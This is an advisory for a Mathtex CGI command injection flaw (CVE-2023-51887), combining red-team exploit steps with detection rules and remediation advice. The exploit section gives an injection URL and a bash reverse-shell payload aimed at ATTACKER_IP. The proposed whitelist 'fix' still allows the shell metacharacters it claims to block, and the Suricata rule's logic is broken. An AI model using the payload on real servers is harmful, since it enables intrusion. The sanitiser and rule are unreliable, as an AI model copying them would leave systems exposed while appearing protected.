CVE-2023-51887

Executive Summary

CVE-2023-51887 is a critical Command Injection vulnerability in Mathtex version 1.05 and earlier. Mathtex is a CGI-based tool that renders LaTeX math expressions into images. The vulnerability allows a remote, unauthenticated attacker to execute arbitrary operating system commands by injecting shell metacharacters into the application URL. This can lead to full server compromise, data exfiltration, and lateral movement within the network.

The vulnerability exists because user-supplied input from the URL query string is passed directly to a shell command without proper sanitization or escaping. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the technical impact is severe. No official patch is available, and the vendor appears unresponsive.

Supply Chain & Package Security

Mathtex is not distributed via standard package managers (NPM, PyPI, Go, Ruby). It is typically compiled from source and deployed as a CGI binary. The supply chain risk is low, but organizations using Mathtex must treat it as a high-priority security finding.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit and requires no authentication. A successful attack grants the attacker the same privileges as the web server (typically www-data or nobody), which can be escalated to root.

Deep Dive & Mechanics

Mathtex works by receiving a LaTeX expression via the \ parameter in the URL (e.g., http://target/cgi-bin/mathtex.cgi?\sqrt{x^2}). The CGI script then constructs a shell command to compile the LaTeX into an image using tools like latex and dvipng.

The vulnerability lies in the lack of input validation. An attacker can inject shell metacharacters such as ;, |, &, or backticks into the \ parameter. For example:

http://target/cgi-bin/mathtex.cgi?\sqrt{x};id

The shell command becomes something like:

latex --interaction=nonstopmode \sqrt{x};id

The id command is executed after the latex command, and its output is returned to the attacker.

Root Cause: The CGI script uses a function like system() or popen() with unsanitized user input concatenated directly into the command string.

Vulnerable vs. Patched Code

Vulnerable Code (Mathtex 1.05):

// Pseudocode for vulnerable CGI
char cmd[1024];
snprintf(cmd, sizeof(cmd), "latex --interaction=nonstopmode %s", getenv("QUERY_STRING"));
system(cmd);

Patched Code (Hypothetical):

// Pseudocode for patched version
char *input = getenv("QUERY_STRING");
// Sanitize: remove all non-alphanumeric characters except allowed LaTeX syntax
char *sanitized = sanitize_latex(input);
char cmd[1024];
snprintf(cmd, sizeof(cmd), "latex --interaction=nonstopmode %s", sanitized);
system(cmd);

The patched version would use a whitelist approach, allowing only characters valid in LaTeX math mode (e.g., a-z, A-Z, 0-9, +, -, *, /, ^, _, {, }, \, [, ], (, ), ,, ., !, ?, ', ~, @, #, $, %, &, :, ;, <, >, =, |, `). However, even this is risky; the safest approach is to avoid shell execution entirely and use a library to render LaTeX.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Mathtex 1.05 or earlier as a CGI script.
• Network access to the target.

Exploit Steps:

1. Identify the endpoint: Typically http://target/cgi-bin/mathtex.cgi.

2. Craft the payload: Inject a command after a valid LaTeX expression. Use URL encoding for special characters.

   Example payload:

   http://target/cgi-bin/mathtex.cgi?\sqrt{x};id
   

3. Execute command: The output of id will be returned in the HTTP response (if the command succeeds and output is captured).

4. Advanced exploitation: Use a reverse shell payload.

   http://target/cgi-bin/mathtex.cgi?\sqrt{x};bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   

   URL-encode the payload:

   http://target/cgi-bin/mathtex.cgi?\sqrt{x}%3Bbash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261%27
   

Lab Setup:

• Use a Docker container with Apache2 and Mathtex 1.05.
• Install latex and dvipng inside the container.
• Expose port 80.

FROM ubuntu:20.04
RUN apt-get update && apt-get install -y apache2 texlive-latex-base dvipng
COPY mathtex.cgi /usr/lib/cgi-bin/
RUN chmod +x /usr/lib/cgi-bin/mathtex.cgi
RUN a2enmod cgi
EXPOSE 80
CMD ["apachectl", "-D", "FOREGROUND"]

Blue Team

Detection Steps:

1. Monitor web server logs for unusual URL patterns containing shell metacharacters (;, |, &, `, $()).
2. Look for long query strings that include encoded shell commands.
3. Check for outbound connections from the web server to unknown IPs (reverse shell).
4. Inspect process lists for unexpected bash, sh, or nc processes spawned by the web server user.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| regex _raw="(?i)(%3B|%7C|%26|%60|%24%28|%29)"
| table _time, src_ip, uri, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /cgi-bin/mathtex.cgi containing ;, |, &, `, $() in the query string.
  • Outbound connections from the web server to unusual IPs on ports 4444, 1337, 8080, etc.
• File IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ created by the web server user.
  • Modified CGI scripts or configuration files.
• Process IOCs:
  • Processes named bash, sh, nc, python, perl running under the web server user.
• Log IOCs:
  • Web server logs showing 400 or 500 errors after injection attempts.
  • System logs (/var/log/syslog) showing sudo or su attempts from the web server user.

Detection Engineering

YARA Rule

rule CVE_2023_51887_Mathtex_Command_Injection {
    meta:
        description = "Detects command injection attempts against Mathtex CGI"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-51887"
    strings:
        $injection1 = /%3B/  // URL-encoded semicolon
        $injection2 = /%7C/  // URL-encoded pipe
        $injection3 = /%26/  // URL-encoded ampersand
        $injection4 = /%60/  // URL-encoded backtick
        $injection5 = /%24%28/  // URL-encoded $(
        $mathtex = "mathtex.cgi"
    condition:
        $mathtex and any of ($injection*)
}

Sigma Rule

title: CVE-2023-51887 Mathtex Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Mathtex CGI with shell metacharacters
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51887
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '%3B'
            - '%7C'
            - '%26'
            - '%60'
            - '%24%28'
        cs-uri-stem|contains: 'mathtex.cgi'
    condition: selection
falsepositives:
    - Legitimate LaTeX expressions containing these characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51887 Mathtex Command Injection Attempt"; flow:to_server,established; content:"mathtex.cgi"; http_uri; content:"%3B"; http_uri; content:"%7C"; http_uri; content:"%26"; http_uri; content:"%60"; http_uri; content:"%24%28"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Mathtex CGI script from production servers.
2. Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the query string.
3. Restrict access to the CGI script via IP whitelisting or VPN.

Long-term Fix:

• Since no official patch exists, consider migrating to an alternative LaTeX rendering solution (e.g., MathJax, KaTeX) that does not rely on shell execution.
• If Mathtex must be used, rewrite the CGI script to avoid shell execution. Use a library like liblatex or pdflatex with proper input sanitization.

Compromise Assessment:

• Check for signs of post-exploitation activity (e.g., cron jobs, SSH keys, backdoor files).
• Rotate all credentials that may have been exposed.
• Conduct a full forensic analysis of the affected server.

Valters IT